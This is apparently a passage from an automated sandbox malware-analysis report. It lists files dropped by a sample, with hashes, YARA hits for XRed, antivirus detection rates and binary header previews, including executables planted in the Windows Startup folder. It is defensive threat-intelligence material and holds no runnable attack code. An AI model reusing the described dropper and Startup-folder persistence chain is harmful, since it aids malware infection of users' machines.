SSDEEP:	192:OydVpszKImb0hOKJMDzJDzqjLOA/FcaN7zuiF4rZ24IO8EKDzy:ryeChOKJMJqjkqzuiF4rY4IO8zy
MD5:	483A38638FBA6FDA090C29DF2A5DE545
SHA1:	455E8672BABD9520296836AD6F14DAB40A3EDF83
SHA-256:	69B7ACB7B79FCC3957D29972D2B033F3E6D184B109B2F877084F89ADB41ADFC4
SHA-512:	6EB949803B3D5B9A7C9BEFA5BC80A409805EA707E9D3284DA7A296474B183C9F9083FE339AABB3336C63F7E869E8071EA6362EB3E1FB98FB42B7388703D60545
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.1.9.3.5.4.7.9.6.1.4.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.1.9.4.0.9.8.8.9.9.0.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.1.4.5.b.d.1.3.-.3.4.7.6.-.4.2.4.2.-.8.a.f.c.-.7.1.e.0.8.7.1.4.1.e.d.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.6.b.2.c.0.7.9.-.b.c.0.6.-.4.5.1.4.-.a.2.1.7.-.8.b.f.c.3.8.6.c.a.a.7.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.7.c.-.0.0.0.1.-.0.0.1.4.-.c.1.a.f.-.b.6.5.1.4.b.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.1.c.5.3.0.1.5.4.4.b.6.b.3.f.c.1.1.b.7.1.b.6.a.2.e.b.b.d.1.d.4.0.f.1.9.3.6.1.9.e.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1300.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6332
Entropy (8bit):	3.708563115144479
Encrypted:	false
SSDEEP:	192:R6l7wVeJnxo6NpgiBwYiSzc89pDv89b3FsfWdm:R6lXJ+6NpDBwYLcB3efN
MD5:	A3975038034B12B5210B62A8D05CE7CC
SHA1:	A105D8A4382098431226F3C6C036053EF3B6E7A2
SHA-256:	490EC3BC7ED3817206AF930BA7D862C34EBDE53643F7EA3E889BD6F958F8B42C
SHA-512:	49C0771B6619E6C6FF9000A3BB1F26F74C6CE1B367838DFD29AD3BAE6A3B3A3E43630A3AAF00B197A793CF7CE6C49CD2EAEA1D55B3506D6DEFB9F3450589FE0E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.5.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13BC.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.442521500822761
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI90/WpW8VYwYm8M4JF7FH+q844GZnd:uIjfSI7eu7VMJ32GZnd
MD5:	767A25CF8F6CCDCF7F92AFA0751E0A78
SHA1:	6C3D9C2104B5BEB68261D152FB6F0EBD6E7EEFB4
SHA-256:	0B0632E98C3EDF5C4C0431937B4A41E1E683D5ABF2F28CDE6AFF2CB9985247FE
SHA-512:	D8FEC37596ABC07FD5451C5ECC8A2AFDD2D37AC3CC3EFBD18A8171588957FABCE526F341A35750D0339349A9E36BDB56CA14E115167F4BAE3EE4FCC266AE69B0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658706" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40BB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 2 19:22:57 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	12355274
Entropy (8bit):	2.2681566537886
Encrypted:	false
SSDEEP:	24576:kOOjGD3IIKg/wan+aknyg7a3fay6zdhWAzU6BhpCfo1rFuoSQgvCGH:kSaByNKzVUehpCArFrWj
MD5:	6795D1C02318410ECA03B0E161E3BCA0
SHA1:	090DB51CEAA63177100F05708EBFE6029659C612
SHA-256:	EACB151DB3800D5B59520B8F3A4EA66A6756027F4EA544F70794F9588908C76A
SHA-512:	F96D89FC969EC92A4C7B79C9511F78DFA29C73AABF4929C70847021E707ED646D229876F1C1864A92A745F23D13C4BDF39D35D706A2E5A67B387E13EE16D9326
Malicious:	false
Preview:	MDMP..a..... .........vg....................................$............s...,..........`.......8...........T...............Jj......................................................................................................eJ......(.......GenuineIntel............T.......\|.....vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Synaptics\RCXE7D7.tmp

Download File

Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXE7D7.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXE7D7.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12970
Entropy (8bit):	4.592916429638264
Encrypted:	false
SSDEEP:	192:Gj2vcC0eR0LwiK7wT5fWhm4nJBwaFTFyMCnj4mofRL6tU1:GjtjeROK7wT5fWhm4n/wUZo4moZL6m
MD5:	110A1568963118F3ACE3FCBE886A5014
SHA1:	1FDAB62BB3A0D1D281C24D890F1E75731A660373
SHA-256:	5268461A1CFE7FA7322EB1EBC97BB6695EBEF101AE42AF3AFA844A9DDF7017A6
SHA-512:	4738298B8254568E6DD74C62222BB024FE68C6BA6E5B8EA946BD60397FD7FDCC081384482755E82A8DE492895C87B1EF5EFDE71972A54E46D7EC400DE2973B1D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&R..G<..G<..G<....G<.....G<..?...G<..G=..G<.....G<....G<.Rich.G<.........PE..L....!.g.....................<......z........ ....@.......................................@.................................x2..<.................................................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...L!...@.......(..............@....CRT.........p.......*..............@..@.reloc...............,..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17578
Entropy (8bit):	4.664422564409853
Encrypted:	false
SSDEEP:	384:KUW+Y3/FTM6hooyTZuNdUHElY6yMS6KodYfzW8YZGrmoZLFQR:KUWFdTM6hfM1HElFDvKQYfzdYZOC
MD5:	A0F270AD119216C8200862C636F7BEFB
SHA1:	7104C0D3FBFD2B4B888960F82DFD2A0FA7DF08D6
SHA-256:	597C8B230898A37E6E9C004DB74BD5AD1F8C71B058B0371A12BF6F32536CAA3D
SHA-512:	0CE42BB44BB5E19AD61C563D7245A8E0838EB3728DA4FC18B14AD5EA202BFB3032248AD81D740531186BBDF8A961495B7889CCD0CE67909975EBA37F4B0ED348
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&R..G<..G<..G<....G<.....G<..?...G<..G=..G<.....G<....G<.Rich.G<.........PE..L.....#g.....................N......z........ ....@.......................................@..................................B..<.................................................................................... ...............................text............................... ..`.rdata...$... ...&..................@..@.data...."...P.......:..............@....CRT.................<..............@..@.reloc...............>..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe

Download File

Process:	C:\Program Files (x86)\4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msslac[1].dll

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	208896
Entropy (8bit):	6.070094852016993
Encrypted:	false
SSDEEP:	3072:gPTXczuCIcS5TqD4ejPXptBacZEvDkFOS94NtP6p6TQceOM:mszGT5TqEer9a6Evw26pK
MD5:	5E3BC49297F0765C486693790157273F
SHA1:	7CFD2A0465B27C7201C5F096495201D16F5771EB
SHA-256:	7420929E197D7328C047B8CB9075258367AC58935A8DA197F0A8A8C856292633
SHA-512:	6F7E2948C72398422B160D735E8D133EB95F91567820AC9C8853AA75CF2B1F9712242F538950BF969B9A0933FE659CDA0CDF2DB77B34FF22A99A875FB392D612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.............q.....q.........g.............#.......................................Rich....................PE..L.....&g...........!......... ......B........................................p......)T...............................{..C...pg...........:................... ..x...p................................C..@....................f..@....................text...^........................... ..`.rdata...k.......p..................@..@.data...\|Z....... ..................@....rsrc....:.......@..................@..@.reloc...I... ...P..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	830976
Entropy (8bit):	6.743094412845321
Encrypted:	false
SSDEEP:	12288:xMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9oKXMg14ldj:xnsJ39LyjbJkQFMhmC+6GD9+vF
MD5:	D026CFE00B08DA14B0A8B7F8860887D7
SHA1:	08EF96351067F151C19B9CC21605EA018FB43A18
SHA-256:	E261D309F30DE33A1BA0AA43604DB15F3326C6C8C5B291BDD52F18EA361FE3DD
SHA-512:	4EF560FF8C6A9A143B9365884C0C999A1FBF5EE638F170AD96ADD2B8B56933038D573CB31F45724A7F1A7B6A35CD2557344BD55C746FC9E9DA38ECD3BDD6361D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	346414
Entropy (8bit):	6.861892987708496
Encrypted:	false
SSDEEP:	6144:jiubWrNSOetO6cprlQAOWizGLIoSdQX+tJs0/br:uubsNSOetfARQAPyGU2X+tZ/n
MD5:	39E7BE73C7531AC895F75834FDC1BCD6
SHA1:	646B88B488CF673C38B56FE7748C70B31BB29FC3
SHA-256:	A176E32335D81E69906F1C062E62247E97B8863F2C6148A36713E5BED5D16195
SHA-512:	E5C34EF2D309EF2071495A359999B9F8DBEB6D7DB1DAA67E82494D71B0F1E888D0958B5A503CB3B0E505B70F26CFEFE362D6301599143BEDB40A19FDB60EF072
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@..........................p............@.............................4.......P....`..t....................@...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...@...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\cbas[1].lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4645376
Entropy (8bit):	7.861574505223912
Encrypted:	false
SSDEEP:	98304:3nsmtk2aqBB6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWV:3LxiGtJkI/9JQ+vuziSXkfBdko
MD5:	85A57509DB3E9DFA7B4E451B8243220D
SHA1:	EE21F93372218959F8B3DCEFAA2C680D857E9E52
SHA-256:	FCD8D4592CF92FB9F9235A2774CDC8AFF4265D4015269FB7AA995182F8CE26E1
SHA-512:	104615F2366E06CBBA58A87F2E01D6806C1871C29AF8277E06FCDB385F4AE6BEB37C3BAFD861C320A01303A287A68AE9B5D8640F29A39C21FE38AD9803EBE00D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................B=...................@..........................@G..................@..............................B......x9<..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...x9<......:<.................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\wic[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3483648
Entropy (8bit):	7.130127005924049
Encrypted:	false
SSDEEP:	98304:AC4igShR3sZxWFJhbmp2KuSKafRJFLOAkGkzdnEVomFHKnP:F4ifqEwuSKanFLOyomFHKnP
MD5:	6AD65B03E75BC5509BA3104510178EE6
SHA1:	DBA73F97938D2DAB4BF8FB8076B363DB82AD3A16
SHA-256:	4D74EB72321C5137ED364541DEEF19DDC30593FFF62ABAB2A3D17A0BAD7BD5C6
SHA-512:	976C7ABA50E17271F6AEA4AB80E7BC89E68727164D98D99566E0752B4989D716A849B0CC53F0321A53DCE6086EF4CAB1604AAE8456CE76BFEACF185137AA8BA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.3.#.].#.].#.].F.^.=.].F.Y...].F.X...].F.[. .].q.Y...].q.^.:.].q.X._.].F.\...].#.\.5.]...T. .].....".].#..".]..._.".].Rich#.].................PE..L....>&g.....................R...............0....@...........................5...........@..................................[..\|....P.......................p3..2......p...............................@............0...............................text............................... ..`.rdata...b...0...d..................@..@.data...........^..................@....rsrc........P......................@..@.reloc...2...p3..4....2.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9872
Entropy (8bit):	6.582338874776353
Encrypted:	false
SSDEEP:	96:75yFmm11gDnLWB0x6sBA0wHN7m8oB4eXMMhb/WJMepdgPYXa5yQILwKQMlZZptg:7i9oLE0xa0wt71MXMMFypdgPuLQILH0
MD5:	1EDB88F9EE745EAAEE2CBD8219318EB0
SHA1:	6561C12D51090972B6F866F38F8ED281C5C83313
SHA-256:	0AC1125284E2600D3714C0226F800F4D8D9AA291FA299BB1D33B7D8984B5E1C0
SHA-512:	A2A20A70C9E1DB729F716706796027A5C9002AD000E75C0DCED3ECE6F26D76EE0803ACC31D3A116266E711EC6A16D33C0668412238DFE0F128F3A841232FF4C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FR..'<..'<..'<..v.'<..v..'<.._...'<..'=..'<..u..'<..u.'<.Rich.'<.........................PE..L...:.f................. ........................@.......................................@.........................................................................................................................................................UPX0....................................UPX1..... ..........................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................................2.02.UPX!....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	6.538320460768025
Encrypted:	false
SSDEEP:	6144:f+VQ8IwL+ws3cGW4sUwbSQ5LXqAKMQ0LAObegN:f+VDrrGW4sUwbSQpQ0LFey
MD5:	9FD7C0ACC95C7F1311BDE279D0B6A03A
SHA1:	D4F4669166DA05A147EFC8CCC0EEE9AFCA11E31C
